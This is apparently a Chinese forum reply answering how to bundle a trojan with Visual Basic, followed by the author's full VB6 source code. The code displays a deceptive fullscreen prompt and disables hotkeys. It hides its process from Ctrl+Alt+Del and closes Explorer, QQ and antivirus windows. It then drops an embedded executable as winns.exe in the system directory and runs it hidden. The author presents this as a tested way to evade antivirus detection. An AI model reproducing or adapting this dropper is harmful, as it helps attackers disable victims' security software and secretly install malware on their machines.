这是很久以前回答人家一道关于使用 VB 捆绑木马的问题，有些 API 只可用于 Win9x，回复如下：
其实不需要记录文件的大小，我为了方便，直接用捆绑工具把我的程序与木马合并在一起，结果被杀毒软件给查出来了，后来我就想到把木马放到资源文件中，待程序运行时先把杀毒软件的进程给KILL掉，然后再把它释放出来，效果很好，并且杀毒软件也查不到，以下是我的程序源代码。里面还有很多与它不相关的代码，我是用来杀进程的，GetDesktopWindows 可以用 EnumWindows 完全代替，代码也可以减少很多。
Option Explicit
Dim wndNum As Long '保存所有窗体数量
Dim lpWnd(128) As String '存放所有窗体标题数组
'设置进程优先级
Private Declare Function SetPriorityClass Lib _
"kernel32" ( _
ByVal hProcess As Long, _
ByVal dwPriorityClass As Long _
) As Long
'获取当前进程
Private Declare Function GetCurrentProcess Lib _
"kernel32" () As Long
'最低优先级，表明在计算机空闲时运行
Private Const IDLE_PRIORITY_CLASS = &H40
'将进程注册为服务，Windows 2000 系统不可用
Private Declare Function RegisterServiceProcess Lib _
"kernel32" ( _
ByVal hProcess As Long, _
ByVal uFlags As Long _
) As Long
'获取当前进程 ID
Private Declare Function GetCurrentProcessId Lib _
"kernel32" () As Long
'在此程序中用来屏蔽热键
Private Declare Function SystemParametersInfo Lib _
"User32" Alias "SystemParametersInfoA" ( _
ByVal uAction As Long, _
ByVal uParam As Long, _
ByRef lpvParam As Any, _
ByVal fuWinIni As Long _
) As Long
'屏蔽热键，对于 Windows 2000 系统无效
Private Const SPI_SCREENSAVERRUNNING = 97
'将窗体设为顶层
Private Declare Function SetWindowPos Lib _
"User32" ( _
ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, _
ByVal y As Long, _
ByVal cx As Long, _
ByVal cy As Long, _
ByVal wFlags As Long _
) As Long
'将窗体设为最前
Private Const HWND_TOPMOST = -1
'获取桌面句柄
Private Declare Function GetDesktopWindow Lib _
"User32" () As Long
'获取窗体句柄
Private Declare Function GetWindow Lib _
"User32" ( _
ByVal hwnd As Long, _
ByVal wCmd As Long _
) As Long
'获取子窗体句柄
Private Const GW_CHILD = 5
'获取下一个窗体句柄
Private Const GW_HWNDNEXT = 2
'获取窗体标题
Private Declare Function GetWindowText Lib _
"User32" Alias "GetWindowTextA" ( _
ByVal hwnd As Long, _
ByVal lpString As String, _
ByVal cch As Long _
) As Long
'发送消息，用来关闭指定程序，比如杀毒，网管
Private Declare Function PostMessage Lib _
"User32" Alias "PostMessageA" ( _
ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long _
) As Long
'关闭程序
Private Const WM_CLOSE = &H10
'退出程序
Private Const WM_QUIT = &H12
'查找窗体
Private Declare Function FindWindow Lib _
"User32" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String _
) As Long
'获取类名
Private Declare Function GetClassName Lib _
"User32" Alias "GetClassNameA" ( _
ByVal hwnd As Long, _
ByVal lpClassName As String, _
ByVal nMaxCount As Long _
) As Long
'延时以确保程序已关闭
Private Declare Sub Sleep Lib _
"kernel32" ( _
ByVal dwMilliseconds As Long _
)
'获得 Windows 系统目录
Private Declare Function GetSystemDirectory Lib _
"kernel32" Alias "GetSystemDirectoryA" ( _
ByVal lpBuffer As String, _
ByVal nSize As Long _
) As Long
'销毁窗体，释放内存
Private Declare Function DestroyWindow Lib _
"User32" ( _
ByVal hwnd As Long _
) As Long
'销毁句柄，释放内存
Private Declare Function CloseHandle Lib _
"kernel32" ( _
ByVal hObject As Long _
) As Long
'枚举窗体
Private Declare Function EnumWindows Lib _
"User32" ( _
ByVal lpEnumFunc As Long, _
ByVal lParam As Long _
) As Long
Private Sub Form_Load()
'只运行应用程序的一个实例
If App.PrevInstance = True Then End
'将窗体设为顶层
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0
'给使用者一个提示
MsgBox "该程序运行于全屏模式，请关闭所有程序以" & _
"获得最佳效果！", vbInformation Or vbSystemModal
'取消热键
SystemParametersInfo SPI_SCREENSAVERRUNNING, _
True, 0, 0
'将图片居中
img.Move (Screen.Width - img.Width) / 2, _
(Screen.Height - img.Height) / 2
fra(0).Move img.Left - fra(0).Width - 600
fra(1).Move img.Left + img.Width + 600
'获取进程，并将它的优先级别设为空闲
SetPriorityClass GetCurrentProcess, _
IDLE_PRIORITY_CLASS
'获取进程ID，并将它注册为服务类型，因此在按下 _
Ctrl+Alt+Del 后该进程将变为不可见，该方法 _
还可以直接用 app.TaskVisible=False 实现， _
但效果不佳，注意，该 API 不支持 Win2000 系统
RegisterServiceProcess GetCurrentProcessId, 1
'刷新一下进程
RefreshProcess
'杀掉浏览器
Do While KillProcess("Explorer") <> 0
Loop
'杀掉文件夹或 Internet Explorer 浏览器
Do While KillProcess("WClass", True) <> 0
Loop
Do While KillProcess("SystemTr", True) <> 0
Loop
'杀掉 Oicq
Do While KillProcess("icq") <> 0
Loop
'杀掉毒霸之类的杀毒软件
Do While KillProcess("毒") <> 0
Loop
Do While KillProcess("霸") <> 0
Loop
'释放资源文件中的可执行文件
WriteExe
End Sub
'刷新所有进程
Private Sub RefreshProcess()
Dim retWnd As Long '窗体句柄
Dim dskWnd As Long '桌面句柄
Dim lpTitle As String * 128 '窗体标题
'清除数组中保留的窗体名称
For wndNum = LBound(lpWnd) To UBound(lpWnd)
lpWnd(wndNum) = ""
Next wndNum
'初始化窗体数目
wndNum = 0
'获取桌面句柄
dskWnd = GetDesktopWindow()
'获取桌面子窗体
retWnd = GetWindow(dskWnd, GW_CHILD)
'列举所有窗体
Do While retWnd <> 0
'获得窗体标题
GetWindowText retWnd, lpTitle, Len(lpTitle)
'将标题保存到数组
If Left(lpTitle, 1) <> vbNullChar Then
lpWnd(wndNum) = Left(lpTitle, InStr(1, _
lpTitle, vbNullChar) - 1)
wndNum = wndNum + 1
End If
'获取下一个窗体
retWnd = GetWindow(retWnd, GW_HWNDNEXT)
Loop
End Sub
'将含有指定关键字的进程关闭
Private Function KillProcess(KeyWord As String, _
Optional IsClass As Boolean = False) As Long
Dim lpClassName As String * 128
Dim ClassName As String
Dim fndWnd As Long
Dim wndHdc As Long
KillProcess = 0
For fndWnd = 0 To wndNum
'判断查找的是否为类的关键字
If IsClass = True Then
'获得窗体句柄
wndHdc = FindWindow(vbNullString, _
lpWnd(fndWnd))
'获取类名到缓冲区
GetClassName wndHdc, lpClassName, _
Len(lpClassName)
'解析出类名
ClassName = Left(lpClassName, InStr(1, _
lpClassName, vbNullChar) - 1)
'找到后将它关闭，有时只使用 WM_QUIT 不能 _
完成任务，使用 WM_CLOSE 再试一次
If InStr(1, ClassName, KeyWord) > 0 Then
wndHdc = FindWindow(ClassName, _
vbNullString)
KillProcess = KillProcess + 1
QuitDestroy wndHdc
End If
'查找标题带有关键字的窗体
ElseIf InStr(1, lpWnd(fndWnd), KeyWord) > 0 Then
wndHdc = FindWindow(vbNullString, _
lpWnd(fndWnd))
KillProcess = KillProcess + 1
QuitDestroy wndHdc
End If
Next fndWnd
End Function
Private Sub WriteExe()
Dim exeData() As Byte
Dim fileNum As Long
Dim SysDir As String * 128
GetSystemDirectory SysDir, Len(SysDir)
exeData = LoadResData("LOVEME", "Execute")
fileNum = FreeFile()
Open Left(SysDir, InStr(1, SysDir, vbNullChar) _
- 1) & "\winns.exe" For Binary As #fileNum
Put #fileNum, , exeData
Close #fileNum
Shell Left(SysDir, InStr(1, SysDir, vbNullChar) _
- 1) & "\winns.exe", vbHide
End Sub
Private Sub QuitDestroy(wnd As Long)
PostMessage wnd, WM_QUIT, 0, 0
PostMessage wnd, WM_CLOSE, 0, 0
DestroyWindow wnd
CloseHandle wnd
'再次刷新一下进程，这一点非常有必要， _
目的是判断相关线程是否存在，否则程 _
序会将自己杀死
RefreshProcess
End Sub
